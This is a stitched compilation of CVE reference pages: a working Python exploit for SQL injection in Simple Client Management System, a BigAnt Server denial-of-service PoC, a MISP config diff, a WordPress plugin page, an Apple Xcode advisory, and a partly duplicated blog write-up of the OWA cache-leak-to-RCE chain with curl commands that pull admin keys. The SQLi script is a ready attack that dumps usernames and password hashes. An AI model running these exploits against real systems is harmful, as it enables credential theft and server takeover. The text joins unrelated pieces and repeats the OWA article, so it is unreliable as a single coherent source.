Simple Client Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the manage_client endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests.

Permalink

Cannot retrieve contributors at this time

#!/usr/bin/python3

\# Exploit Title: SQLi in manage\_client endpoint of Simple Client Management System

\# Date: 06/11/2021

\# Exploit Author: Daniel Haro

\# Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

\# Software Link: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

\# Version: 1.0

\# Tested on: debian 10, apache, mysql

from requests import get

from re import search

import argparse

args \= argparse.ArgumentParser(description\="Exploit to SQL injection in manage\_client endpoint of Simple Client Management System CMS through id parameter")

args.add\_argument('-t', '--target', help\="URL of the victim. Example: http://localhost/")

args \= args.parse\_args()

print("Simple Client Management System")

print("Error based SQL injection exploit")

count\_req \= get(args.target + "/admin/?page=client/manage\_client&id=' union select count(\*),null,null,null,null,null,null from users-- -")

n \= search('<input type="hidden" name="id" value=".\*', count\_req.text)

n \= int(n.group(0).replace('<input type="hidden" name="id" value="', '').replace("\\"\>",""))

print("+------------------------------+--------------------------------+")

print("| username | hash |")

print("+------------------------------+--------------------------------+")

for i in range(1, n+1):

user \= search('<input type="hidden" name="id" value=".\*', get(args.target + "/admin/?page=client/manage\_client&id=' union select username,null,null,null,null,null,null from users where id=" + str(i) + "--%20-").text).group(0).replace('<input type="hidden" name="id" value="', '').replace('">',"").replace("\\r", "")

hash \= search('<input type="hidden" name="id" value=".\*', get(args.target + "/admin/?page=client/manage\_client&id=' union select password,null,null,null,null,null,null from users where id=" + str(i) + "--%20-").text).group(0).replace('<input type="hidden" name="id" value="', '').replace('">',"").replace("\\r", "")

user \= "|" + user + (" "\*(30\-len(user))) + "|"

print(user + hash + "|")

print("+------------------------------+--------------------------------+")

CVE-2022-26284: SQLi-exploit---Simple-Client-Management-System/manage_client_sqli.py at main · Dir0x/SQLi-exploit---Simple-Client-Management-System

An issue in BigAnt Software BigAnt Server v5.6.06 can lead to a Denial of Service (DoS).

**Vulnerability**

BigAnt Server Version 5.6.06 suffers from multiple Denial of Service

**Prerequisites**

None

**Exploit****Example 01: Apache Web Service**

**Unauthenticated users can subtly send repeated GET requests via CURL to the following URL nd the following URL `http://<IPaddress>:8000/admin/public/download.html`, which can be scripted in a loop, to cause a CPU spike and render the web app and system to become non-response**  
![](https://github.com/bzyo/cve-pocs/raw/master/CVE-2022-23352/imgs/apache-dos.png)

**Issue resides in the following system file `C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\Application\Admin\Common\function.php`**

**Example 02: UltraVNC Repeater Service**

**When UltraVNC Repeater service is started, it runs on port 80. No documentation states to change the default password, however this can be found at the following path on any default installation to login `C:\Program Files (x86)\BigAntSoft\IM Console\im_server\server\settings2.txt`**  

**By entering a long string into the Comment field, it will cause the repeater windows service to crash**  
![](https://github.com/bzyo/cve-pocs/raw/master/CVE-2022-23352/imgs/ultravnc-dos-a.png)  
![](https://github.com/bzyo/cve-pocs/raw/master/CVE-2022-23352/imgs/ultravnc-dos-b.png)  
![](https://github.com/bzyo/cve-pocs/raw/master/CVE-2022-23352/imgs/event-viewer.png)

**Timeline**

12-01-2021: Submitted vulnerabilities to vendor via email  
12-01-2021: Vendor responded asking for more details  
12-02-2021: Responded to vendor with additional details  
12-02-2021: Vendor responded stating looking into vulnerabilities  
12-29-2021: Emailed vendor, no response  
01-11-2022: Emailed vendor, no response  
01-12-2022: Requested CVEs  
01-28-2022: CVEs assigned, no response from vendor  
02-26-2022: Emailed vendor, no response  
03-21-2022: PoC/CVE published

**Reference**

MITRE CVE-2022-23352

**Disclaimer**

Content is for educational and research purposes only. Author doesn’t hold any responsibility over the misuse of the software, exploits or security findings contained herein and does not condone them whatsoever.

CVE-2022-23352: cve-pocs/CVE-2022-23352 at master · bzyo/cve-pocs

An issue was discovered in MISP before 2.4.156. An SVG org logo (which may contain JavaScript) is not forbidden by default.

@@ -17,6 +17,7 @@

'user\_monitoring\_enabled' => false,

'authkey\_keep\_session' => false,

'disable\_local\_feed\_access' => false,

'enable\_svg\_logos' => false,

//'auth' => array('CertAuth.Certificate'), // additional authentication methods

//'auth' => array('ShibbAuth.ApacheShibb'),

//'auth' => array('AadAuth.AadAuthenticate'),

CVE-2022-27246: new: add setting for allowing svg org logos · MISP/MISP@08a07a3

Authenticated (admin or higher user role) Stored Cross-Site Scripting (XSS) vulnerability discovered in AMP for WP – Accelerated Mobile Pages WordPress plugin (versions <= 1.0.77.31).

*   Details
*   Reviews
*   Installation
*   Support
*   Development

AMP for WP automatically adds Accelerated Mobile Pages (Google AMP Project) functionality to your WordPress site. AMP makes your website faster for Mobile visitors.

What’s New in this Version? | Priority Support | View Demo | Screenshots | Community

**Extensions**  
Some useful extensions to extend AMP features, check AMP Adsense Support, Contact Form 7 Support, Email Opt-in Support and Call To Action Support. To view more, go to our Extensions page.

**Support**  
We try our best to provide support on WordPress.org forums. However, We have a special community support where you can ask us questions and get help about your AMP related questions. Delivering a good user experience means a lot to us and so we try our best to reply each and every question that gets asked.

**Bug Reports**  
Bug reports for AMP for WP are welcomed on GitHub. Please note GitHub is _not_ a support forum, and issues that aren’t properly qualified as bugs will be closed.

**Features:**

*   NEW – Gutenberg Support
*   NEW – Divi and Elementor Support More Info
*   NEW – GDPR Compliance
*   NEW – Google PageSpeed Optimization with SSR (Server Side Rendering)
*   NEW – CSS Optimization (Tree Shaking) – This will automatically remove all the unused CSS from your AMP pages
*   NEW – Google Font API and Local Fonts Support For All Designs
*   Out of the box compatibility for Yoast SEO, All in One Seo, Rank Math, Genesis, SEOPress, Bridge Qode SEO, The SEO Framework, SmartCrawl and Squrilly SEO Plugin.
*   Introducing Page Builder 3.0 for AMP! Learn More & Video
*   New Default Theme for AMP called Swift
*   3 Pre-built AMP Layouts for Business websites and landing pages
*   OneSignal and TruePush Push Notifications integration
*   Advanced WooCommerce Support More Info
*   AMP Plugins Manager – Which allows you to disable a specific plugin functionality only in the AMP version
*   Structured Data Options
*   Page Break / NextPage (Pagination) Support
*   Contact Form 7 Support More Info
*   Graviry Form Support More Info
*   Caldera Form Support More Info
*   Ninja Form Support More Info
*   Facebook Comments Support
*   Github Gist Support
*   Email Opt-in Subscription form support in AMP added
*   Call to Action boxes and notification bars
*   9 Advertisement sizes – 2 More AD slots added recently
*   Comments Forms in AMP.
*   Native AMP Search functionality.
*   Design 3 Watch the Video Overview
*   Disqus Comments Support
*   Vuukle Comments Support
*   Spot.IM Comments Support
*   Google Tag Manager Support
*   Page, Category & Tags Support Added
*   Custom AMP Editor – Which allows you to override your Content that you had written in Post or page, so you can add the different content just for AMP.
*   Mobile Redirection – More than 50% of your traffic is from mobile and you aren’t doing anything to improve their user experience, which means you are falling behind on SEO and it can result in lower SERPS. Lightning fast mobile version means faster User experience means more engagement which directly results in the lower bounce rate.
*   Custom Post Type Support
*   Custom Taxonomies Support
*   Star Ratings
*   Drag & Drop Page builder Added
*   4 Designs for AMP
*   AMP WooCommerce Support
*   Switch on/off Support for Pages & Posts on AMP
*   Translation Panel & RTL
*   Internal AMP linking – You can browse AMP pages internally
*   Related posts below the post
*   Recent Comments list
*   Automatically integrate AMP to your website.
*   Google Adsense (AMP-AD) Support with 6 different Ad slots across the layout! The First Plugin to have this capability.
*   Built in MGID Ads Support with 6 different ad slots.
*   Google Analytics Support.
*   User Friendly Theme Options Panel.
*   Unlimited Color Scheme.
*   Image Logo Upload.
*   Supports Posts and Pages and other custom post types.
*   Proper rel canonical tags which means that Google know the original page.
*   Overlay Navigation Menu bar.
*   Social Sharing in the Single.
*   Sexy Design.
*   Separate WordPress Menu for AMP version.
*   Page builder & Shortcodes Compatibility.
*   Carousel support for Gallery.
*   Better Image stretching and resizing.
*   Youtube Video Embed Support.
*   Vine Embed Support.
*   Twitter oembed Support.
*   Instagram Embed Support.
*   Facebook Video Embed Support.
*   RTL Support
*   Custom AMP FrontPage
*   Notifications
*   Alexa Metrics, Chartbeat, Hi-stats, Yandex Metrika, Piwik, Segment.com, StatCounter, Effective Measure and comScore Builtin Support
*   Incontent & DoubleClick Support
*   Great Support & Active Development.
*   Widgets & WooCommerce
*   Breadcrumb Support added
*   Facebook Instant Articles Support Added
*   AMP Installation Wizard that makes it easy to setup for new users.
*   Category base remover support
*   Tag base remover support
*   Addthis Sharing Support
*   Infinite Scroll Support
*   Photo Gallery by 10Web Support
*   12 New Social Media Integrations added (Reddit, Tumblr, Telegram, Digg, StumbleUpon, Wechat, Viber, Hatena Bookmarks, Pocket, Yummly, MeWe, Flipboard)
*   AMP Theme Framework Core Support Added. You can now create AMP templates of your own in just minutes. **More**
*   NEW – Make AMP & Non-AMP Same with just one click!
*   NEW – Allows you to use AMP as primary website!

**JOIN CHAT GROUP COMMUNITY**: Purpose of this group is to get proper suggestions and feedback from plugin users and the community so that we can make the plugin even better.

**Getting Started:**

**1\. User Documentation:** The AMP for WordPress plugin is easy to setup but we have some tutorials and guides prepared for you which will help you dive deep with the plugin.

**2\. Developer Docs:** We have created special documentations for developers and semi technical users who are willing to modify the plugin according to their own needs.

**3\. Support:** We try our best to provide support on WordPress.org forums. However, We have a special community support where you can ask us questions and get help about your AMP related questions. Delivering a good user experience means a lot to us and so we try our best to reply each and every question that gets asked.

**4\. Premium Support:** We will personally take care that your website’s AMP version is perfectly validated. We will make sure that your AMP version gets approved and indexed by Google Webmaster Tools properly and we will even keep an eye on AMP updates from Google and implement them into your website.

**Credits**

Some code used in this plugin was forked from ‘AMP for WordPress’ plugin https://wordpress.org/plugins/amp/ – License URI: http://www.gnu.org/licenses/gpl-2.0.html.  
Mobile & Tablet detection library used https://github.com/serbanghita/Mobile-Detect – License URI: https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt  
PHP CSS Parser library used https://github.com/sabberworm/PHP-CSS-Parser – License URI: https://github.com/sabberworm/PHP-CSS-Parser#license (PHP-CSS-Parser is freely distributable under the terms of an MIT-style license.)  
AMP Optimizer library used https://github.com/ampproject/amp-toolbox/tree/main/packages/optimizer – License URI: https://github.com/ampproject/amp-toolbox#license (AMP Toolbox is made by the AMP Project, and is licensed under the Apache License, Version 2.0.)

**Visit Help area for the Documentation:**

**Visit Help area for the Documentation:**

**Can I add analytics?**

Yes, you easily can. In fact, we have support for 12 Analytics companies. Including Google Analytics, Facebook Pixel, StatCounter, QuantCast, Chartbeat, comScore to list a few. Also, we have Google Tag Manager (GTM) support as well.

**Can I add Ads in my AMP pages?**

Yes, you can. We have 6 ad placement slots that are built in and strategically placed to get maximum views. Also, we have an extension from which you can insert ads between the content, will get more ad slots and also add custom banners to all the available slots.

**Can I extend/Change the AMP design, so it suits my needs?**

Yes, you easily can. We have created this plugin in such a way that it can easily be extended. Check out our AMP Theme Framework

**Do you have any prebuilt designs?**

Yes, we have AMP themes section where we have free and paid designs available. We also update it regularly. You can check it out our AMP Themes

**I’m a developer and I want to add custom functionality for a client, can I do that?**

Yes, of course. This plugin is very developer friendly, we have lots of hooks and filters that you can use to extend and customize according to the requirements. Also, we have developer documentation which we update regularly.

**How do I report bugs and suggest new features?**

You can report the bugs here

**Will you Add New features to my request?**

Yes, Absolutely! We would suggest you send your feature request by creating an issue in Github . It helps us organize the feedback easily.

**How do I get in touch?**

You can contact us from here

![](https://secure.gravatar.com/avatar/07a56c90a427c263a8869831ac3d4dbd?s=60&d=retro&r=g)

![](https://secure.gravatar.com/avatar/77c97f0a2554cda5665547de84627aa7?s=60&d=retro&r=g)

![](https://secure.gravatar.com/avatar/a9ae7d27e349e44228648b192d446441?s=60&d=retro&r=g)

![](https://secure.gravatar.com/avatar/55d75b898bf4f3d2e17b0d039bad6ad1?s=60&d=retro&r=g)

![](https://secure.gravatar.com/avatar/92979f9c6fff838534ae94cc98d95b1c?s=60&d=retro&r=g)

![](https://secure.gravatar.com/avatar/6b099f0b6c687abe2e8b3a8ae45d1ac1?s=60&d=retro&r=g)

Cheaters, they offered the discount on their pricing page. But their discount disappeared in cart. i tried it many times, no discount was applied on my order. i contacted many times the support team, but every time they offers me 50% discount on new purchase to compensate, they are not ready to return my extra charged money. moreover, plugin is full of waste, because of their unprofessional services.

Read all 1,208 reviews

“AMP for WP – Accelerated Mobile Pages” is open source software. The following people have contributed to this plugin.

Contributors

**1.0.77.38 (7th March 2022)**

*   Improvements: Added The Publisher Desk Support #5213
*   Fixed: Displaying a blank white screen when embed URLs are used #5193

1.0.77.37.1 (4TH March 2022)  
\* Improvements: Added new infinite scrolling experience #4791  
\* Fixed: The links in embed URLs are not clickable #5193

**1.0.77.37 (2nd March 2022)**

*   Improvements: Added feedback form with auto email system #5223
*   Improvements: Added new infinite scrolling experience #4791
*   Improvements: Added An option to add lang\_ and privacyMode values in Quantcast #5206
*   Improvements: Added FireWork compatibility #5210
*   Fixed: AMP autocomplete tag is not working #5217
*   Fixed: Autoplay functionality not working in video module #5219
*   Fixed: Fonts loading twice in Global font family #5220
*   Fixed: Unable to connect to Matomo analytics #5221

**1.0.77.36 (18th February 2022)**

*   Fixed: If the server-side cache is aggressive then the pagination URL with ?amp=1 is redirecting to non-AMP #5208
*   Fixed: Errror getting in featured-image.php, on line 77 #5207
*   Fixed: Need to keep the mobile redirection filter outside of any condition #5216

Full changelog available at changelog.txt

CVE-2021-23150: AMP for WP – Accelerated Mobile Pages

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.

This document describes the security content of Xcode 13.3.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security updates page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

![](https://support.apple.com/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)

**Xcode 13.3**

Released March 14, 2022

**iTMSTransporter**

Available for: macOS Monterey 12 and later

Impact: Multiple issues in iTMSTransporter

Description: Multiple issues were addressed with updating FasterXML jackson-databind and Apache Log4j2.

CVE-2019-14379

CVE-2021-44228

**otool**

Available for: macOS Monterey 12 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22601: hjy79425575

CVE-2022-22602: hjy79425575

CVE-2022-22603: hjy79425575

CVE-2022-22604: hjy79425575

CVE-2022-22605: hjy79425575

CVE-2022-22606: hjy79425575

CVE-2022-22607: hjy79425575

CVE-2022-22608: hjy79425575

![](https://support.apple.com/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)

**Additional recognition**

**iTMSTransporter**

We would like to acknowledge Anthony Shaw of Microsoft for their assistance.

**ld64**

We would like to acknowledge Pan ZhenPeng (@Peterpan0927) of Alibaba Security Pandora Lab for their assistance.

**Xcode IDE**

We would like to acknowledge an anonymous researcher for their assistance.

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: March 14, 2022

CVE-2022-22601: About the security content of Xcode 13.3

Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.

Open Web Analytics (OWA) is an open-source alternative to Google Analytics. OWA is written in PHP and can be hosted on an own server. Version 1.7.3 suffers from two vulnerabilities, which can be exploited by an unauthenticated attacker to gain RCE, when chained together.

The cause of the first vulnerability (CVE-2022-24637) is a single quote / double quote confusion, which leads to an information disclosure. The header of an automatically generated PHP cache file containing sensitive information is defined as '<?php\\n…' instead of "<?php\\n…". This leads to a literal backslash and n character being written instead of a newline character resulting in a broken PHP tag. Because of this the file is not interpreted as PHP code, but delivered in plain leaking sensitive cache information. This information can be leveraged to set a new password for the admin user.

The second vulnerability is a PHP file write, which requires admin privileges. The internal settings for the logfile path as well as the log level can be changed by manually crafting a POST request. This way the logfile can be set to a PHP file. By also increasing the log level and generating an event with attacker controlled data, PHP code can be injected into this logfile. This results in the possibility to execute arbitrary PHP code.

I would like to thank Peter Adams, the creator and maintainer of OWA who released a patch for the issue only one day after my initial notification. I was really amazed by the quick and professional reaction. There are security issues in each and every software, but the difference is how these are dealt with.

– Introduction  
– Single / Double Quote Confusion  
– PHP file write  
– Demonstration  
– Patch and Mitigations  
– Conclusion

**Introduction**

Open Web Analytics (OWA) is an open-source web analytics software written in PHP and using a MySQL database. The source code is freely available on GitHub. OWA offers profound tracking capabilities as well as a wide variety of detailed reports. In contrast to Google Analytics, OWA can be hosted on an own server.

In this article we will take a look at two vulnerabilities in OWA, which enable an unauthenticated attacker to gain RCE on the underlying webserver when combined. After determining the root cause of these vulnerabilities, we will point out how these can be mitigated and highlight a few general aspects regarding secure coding.

A basic entity in OWA is represented by the owa\_entity class. Examples for such entities inheriting from owa\_entity are documents (owa\_document), sites (owa\_site) or users (owa\_user). These entities are persisted in the MySQL database. In order to increase performance, OWA version 1.7.3 and prior uses a file based caching mechanism by default. When an entity is loaded from the database the first time, it is cached by writing its serialized data to a cache file.

The creation of these cache files is implemented in the putItemToCacheStore method within the owa\_fileCache class (modules/base/classes/fileCache.php):

...

    function putItemToCacheStore($collection, $id) {
    
            ...
        
            $data = $this->cache\_file\_header.base64\_encode(serialize($this->cache\[$collection\]\[$id\])).$this->cache\_file\_footer;

            ...
            
            $tcf\_handle = @fopen($temp\_cache\_file, 'w');

            ...
            
                fputs($tcf\_handle, $data);
                
                ...

As we can see, the serialized entity is base64 encoded and written to a temporary cache file. The name of this temporary file is later changed to consist of a unique id with a .php extension:

            ...
            
            $cache\_file = $collection\_dir.$id.'.php';
    
            ...
            
                if (!@ rename($temp\_cache\_file, $cache\_file)) {
                
                    ...

In the first code snippet we can also see that the base64 encoded data is prefixed by cache\_file\_header and suffixed by cache\_file\_footer. Let’s see how these are defined:

...

class owa\_fileCache extends owa\_cache {

    ...
    
    var $cache\_file\_header = '<?php\\n/\*';
    var $cache\_file\_footer = '\*/\\n?>';
    
    ...

Accordingly a cache file is supposed to look like this:

<?php
/\*BASE64-ENCODED DATA\*/
?>

When directly accessing such a PHP file, the response is supposed to be empty, because the file only contains a comment. Though the above strings are surrounded by single quotes instead of double quotes, which makes a severe difference when it comes to escape sequences:

php > echo '<?php\\n/\*'; // <-- single quotes
<?php\\n/\*

php > echo "<?php\\n/\*"; // <-- double quotes
<?php
/\*

As the above example shows, when using single quotes, escape sequences such as \\n are not evaluated.

What does this mean for the generated PHP file? The PHP tag <?php is supposed to be followed by a line feed (0x0a) like this:

user@b0x:~$ cat sample1.php 
<?php
echo 1;
?>

user@b0x:~$ php -f sample1.php
1

Valid alternatives for the line feed are tab (0x09), carriage return (0x0d) or space (0x20). Though, when the PHP tag is directly followed by a backslash character, it is no a valid PHP tag anymore and the PHP code is not interpreted, but rather displayed in plain:

user@b0x:/tmp$ cat sample2.php
<?php\\necho 1;\\n?>

user@b0x:/tmp$ php -f sample2.php
<?php\\necho 1;\\n?>

Since the PHP cache files are publicly accessible (owa-data/caches/), we can retrieve the base64 encoded serialized data. In order to do this, we need to know the name of the cache file. Though it turned out, that the filename is predictable. If the admin user at least logged in once, the cache file exists. But even if the user never logged in, we can trigger the creation by trying to login with this user. The failed login attempt does also create the cache file.

After calculating the filename, we can easily retrieve the cache file:

user@b0x:~$ curl http://localhost/owa\_web/owa-data/caches/1/owa\_user/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php

<?php\\n/\*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9\*/\\n?>

The base64 encoded data contains all properties of the user within the MySQL database including the username, hashed password, temp\_passkey and API key:

user@b0x:~$ echo Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9 | base64 -d
O:8:"owa\_user":5:{s:4:"name";s:9:"base.user";s:10:"properties"; ...
...
... s:4:"name";N;s:5:"value";s:5:"admin"; ...
... s:8:"password";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$vT89Rpbp/kz92SdR2j03luLVFOy7ldaqdyOIpTmFtmp2WGGOmFIwS"; ...
... s:12:"temp\_passkey";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"d7d8c0d6c8da08adea071fa80220b121"; ...
... s:7:"api\_key";s:5:"value";s:32:"2f37b9889afb326b2ae21a5eb45933bd"; ...
...
}s:12:"wasPersisted";b:1;s:5:"cache";N;}

The password is hashed and thus needs to be cracked before being valuable. Though the temp\_passkey can directly be used to set a new password for the user via the base.usersChangePassword action. After changing the password, an attacker can successfully login and now has full admin privileges.

**PHP file write**

The second vulnerability is a PHP file write, which requires admin privileges.

By browsing to the Settings tab in the admin interface, different options can be set:

When updating the settings (action base.optionsUpdate) the controller owa\_optionsUpdateController is triggered, which is responsible for persisting the new settings:

class owa\_optionsUpdateController extends owa\_adminController {

    ...

    function action() {

        $c = owa\_coreAPI::configSingleton();

        $config\_values = $this->get('config');

        if (!empty($config\_values)) {

            foreach ($config\_values as $k => $v) {

                list($module, $name) = explode('.', $k);

                if ( $module && $name ) {
                    $c->persistSetting($module, $name, $v);
                }
            }

            $c->save();
            owa\_coreAPI::notice("Configuration changes saved to database.");
            $this->setStatusCode(2500);
        }

        $this->setRedirectAction('base.optionsGeneral');
    }

    ...

The selected settings are sent via the config parameter ($config\_values). As we can see there is no restriction on the settings we can define. Although only a few settings are displayed in the GUI on the Settings tab, we can change all other settings by crafting a corresponding POST request.

Two of these settings are used within the owa\_error class, which is responsible for logging. When the application is running in production mode, the method createProductionHandler is called to initialize the logfile by calling make\_file\_logger:

...
class owa\_error {

    ...

    function createProductionHandler() {

        ...
        
        $this->make\_file\_logger();

        ...
    }
    
    ...
    
    function make\_file\_logger() {

        $path = owa\_coreAPI::getSetting('base', 'error\_log\_file');
        //instantiate a a log file
        $conf = array('name' => 'debug\_log', 'file\_path' => $path);
        $this->loggers\['file'\] = owa\_coreAPI::supportClassFactory( 'base', 'logFile', $conf );
    }

As we can see the file path of the logfile is determined by calling the owa\_coreAPI::getSetting method. The setting being used is base.error\_log\_file. We can control this value and thus control the file path, where the log is being written. This means that we can also set the file path to be a PHP file. In order to execute arbitrary PHP code, we only need to control some data, which is written to the logfile.

By default the application is only logging events with the log level OWA\_LOG\_NOTICE. These messages are mainly static and do not contain any data, which can be controlled by an attacker. Thus let’s have a look at the logging mechanism.

When a message is supposed to be logged, the method logMsg is called with the corresponding priority (log level):

    function logMsg( $msg, $priority ) {

        ...
        
        // check error priority before logging.
        if ( owa\_coreAPI::getSetting('base', 'error\_log\_level') <= $priority ) {

            $dt = date("H:i:s Y-m-d");
            $pid = getmypid();
            foreach ( $this->loggers as $logger ) {

                $message = sprintf("%s %s \[%s\] %s \\n", $dt, $pid, $logger->name, $msg);
                $logger->append( $message );
                ...

The code snippet above shows that before the message is actually logged, the value of base.error\_log\_level is checked. If the $priority value is greater or equal than the current base.error\_log\_level, the message is logged. We can also control the value of base.error\_log\_level. By setting this value to OWA\_LOG\_DEBUG = 2, the messages being logged are very verbose and even include each POST parameter send to the application. This way an attacker can easily inject arbitrary PHP code into the logfile. By accessing this logfile, which was set to a PHP file, the injected code is executed resulting in RCE.

**Demonstration**

The combination of both vulnerabilities can be leveraged by an unauthenticated attacker to gain RCE as the following demonstration shows:

**Patch and Mitigations**

Within this section we want to determine how both of these vulnerabilities can be mitigated and point out a few general aspects regarding secure coding.

Only shortly after my notification Peter provided a patch for the file cache vulnerability (CVE-2022-24637). This patch tackles the vulnerability on multiple layers. At first single quotes for the cache\_file\_header and cache\_file\_footer are replaced by double quotes preventing the leak, which was the actual cause of the vulnerability. Though the patch contains further hardening. The secret OWA\_AUTH\_KEY value is included into the cache filename calculation. Without knowing this value, it is far harder to determine the name of the cache file. Also the owa\_user entity was removed from the cache at all. Thus there is no cache file for user entities. Not part of the above commit, but also a crucial mitigation is to prevent files from being accessed via the webserver, which are not supposed to be accessed directly. One way to achieve this is to move all files out of the webroot, which are not supposed to be accessed via the webserver. The problem with this solution is that the website administrator needs file system access beyond the webroot. Depending on the hosting or security model this might not be intended. Another way is to use a webserver specific restriction mechanism like an .htaccess file, when an apache webserver is in place.

The second vulnerability is quite common for PHP. File writes should really be handled carefully. If an attacker can control what is being written to a file, RCE is not far away. Even if the file does not reside within the webroot or does not have a .php extension, an additional local file inclusion (LFI) vulnerability, which might be useless on its own, turns this into easy RCE. In this case a restriction should enforce that the logfile can only be a .txt file. Also this file should not reside within the webroot, if viable. This restriction must be enforced, if there is the necessity of making the file path configurable. Generally the settings, which are configurable via the webinterface, should be very limited. A more adequate way to make sensitive settings configurable is by defining constant values in a config file. These can only be changed by actually altering the config file (which in the best case should only be possible to the legitimate website administrator).

Summing up, the key takeaways are:

*   Mind the difference between single and double quotes in PHP
*   When hashing values, add a secret pepper / salt value
*   Do not store any files in the webroot, which are not supposed to be accessed via the webserver, or employ restrictions to prevent direct access to these files
*   Carefully restrict file writes (content, file path and extension)
*   Restrict which settings are configurable via the webinterface

**Conclusion**

The article described the chaining of two vulnerabilities in OWA, which can be exploited by an unauthenticated attacker to gain RCE on the underlying webserver. Also we took a look at how these vulnerabilities can be mitigated and pointed out a few general aspects regarding secure coding.

Thanks again to Peter for professionally handling these issues and quickly providing a patch.

**Timeline**  
01 February 2022 – Vendor Notification  
01 February 2022 – Vendor Acknowledgement  
02 February 2022 – Vendor Patch  
18 March 2022 – Public Disclosure

Post Views: 14,875

CVE-2022-24637: From Single / Double Quote Confusion To RCE (CVE-2022-24637) – devel0pment.de

Open Web Analytics (OWA) is an open-source alternative to Google Analytics. OWA is written in PHP and can be hosted on an own server. Version 1.7.3 suffers from two vulnerabilities, which can be exploited by an unauthenticated attacker to gain RCE, when chained together.

The cause of the first vulnerability (CVE-2022-24637) is a single quote / double quote confusion, which leads to an information disclosure. The header of an automatically generated PHP cache file containing sensitive information is defined as ‘<?php\\n…’ instead of “<?php\\n…”. This leads to a literal backslash and n character being written instead of a newline character resulting in a broken PHP tag. Because of this the file is not interpreted as PHP code, but delivered in plain leaking sensitive cache information. This information can be leveraged to set a new password for the admin user.

The second vulnerability is a PHP file write, which requires admin privileges. The internal settings for the logfile path as well as the log level can be changed by manually crafting a POST request. This way the logfile can be set to a PHP file. By also increasing the log level and generating an event with attacker controlled data, PHP code can be injected into this logfile. This results in the possibility to execute arbitrary PHP code.

I would like to thank Peter Adams, the creator and maintainer of OWA who released a patch for the issue only one day after my initial notification. I was really amazed by the quick and professional reaction. There are security issues in each and every software, but the difference is how these are dealt with.

– Introduction  
– Single / Double Quote Confusion  
– PHP file write  
– Demonstration  
– Patch and Mitigations  
– Conclusion

**Introduction**

Open Web Analytics (OWA) is an open-source web analytics software written in PHP and using a MySQL database. The source code is freely available on GitHub. OWA offers profound tracking capabilities as well as a wide variety of detailed reports. In contrast to Google Analytics, OWA can be hosted on an own server.

In this article we will take a look at two vulnerabilities in OWA, which enable an unauthenticated attacker to gain RCE on the underlying webserver when combined. After determining the root cause of these vulnerabilities, we will point out how these can be mitigated and highlight a few general aspects regarding secure coding.

A basic entity in OWA is represented by the owa\_entity class. Examples for such entities inheriting from owa\_entity are documents (owa\_document), sites (owa\_site) or users (owa\_user). These entities are persisted in the MySQL database. In order to increase performance, OWA version 1.7.3 and prior uses a file based caching mechanism by default. When an entity is loaded from the database the first time, it is cached by writing its serialized data to a cache file.

The creation of these cache files is implemented in the putItemToCacheStore method within the owa\_fileCache class (modules/base/classes/fileCache.php):

...

    function putItemToCacheStore($collection, $id) {
    
            ...
        
            $data = $this->cache\_file\_header.base64\_encode(serialize($this->cache\[$collection\]\[$id\])).$this->cache\_file\_footer;

            ...
            
            $tcf\_handle = @fopen($temp\_cache\_file, 'w');

            ...
            
                fputs($tcf\_handle, $data);
                
                ...

As we can see, the serialized entity is base64 encoded and written to a temporary cache file. The name of this temporary file is later changed to consist of a unique id with a .php extension:

            ...
            
            $cache\_file = $collection\_dir.$id.'.php';
    
            ...
            
                if (!@ rename($temp\_cache\_file, $cache\_file)) {
                
                    ...

In the first code snippet we can also see that the base64 encoded data is prefixed by cache\_file\_header and suffixed by cache\_file\_footer. Let’s see how these are defined:

...

class owa\_fileCache extends owa\_cache {

    ...
    
    var $cache\_file\_header = '<?php\\n/\*';
    var $cache\_file\_footer = '\*/\\n?>';
    
    ...

Accordingly a cache file is supposed to look like this:

<?php
/\*BASE64-ENCODED DATA\*/
?>

When directly accessing such a PHP file, the response is supposed to be empty, because the file only contains a comment. Though the above strings are surrounded by single quotes instead of double quotes, which makes a severe difference when it comes to escape sequences:

php > echo '<?php\\n/\*'; // <-- single quotes
<?php\\n/\*

php > echo "<?php\\n/\*"; // <-- double quotes
<?php
/\*

As the above example shows, when using single quotes, escape sequences such as \\n are not evaluated.

What does this mean for the generated PHP file? The PHP tag <?php is supposed to be followed by a line feed (0x0a) like this:

user@b0x:~$ cat sample1.php 
<?php
echo 1;
?>

user@b0x:~$ php -f sample1.php
1

Valid alternatives for the line feed are tab (0x09), carriage return (0x0d) or space (0x20). Though, when the PHP tag is directly followed by a backslash character, it is no a valid PHP tag anymore and the PHP code is not interpreted, but rather displayed in plain:

user@b0x:/tmp$ cat sample2.php
<?php\\necho 1;\\n?>

user@b0x:/tmp$ php -f sample2.php
<?php\\necho 1;\\n?>

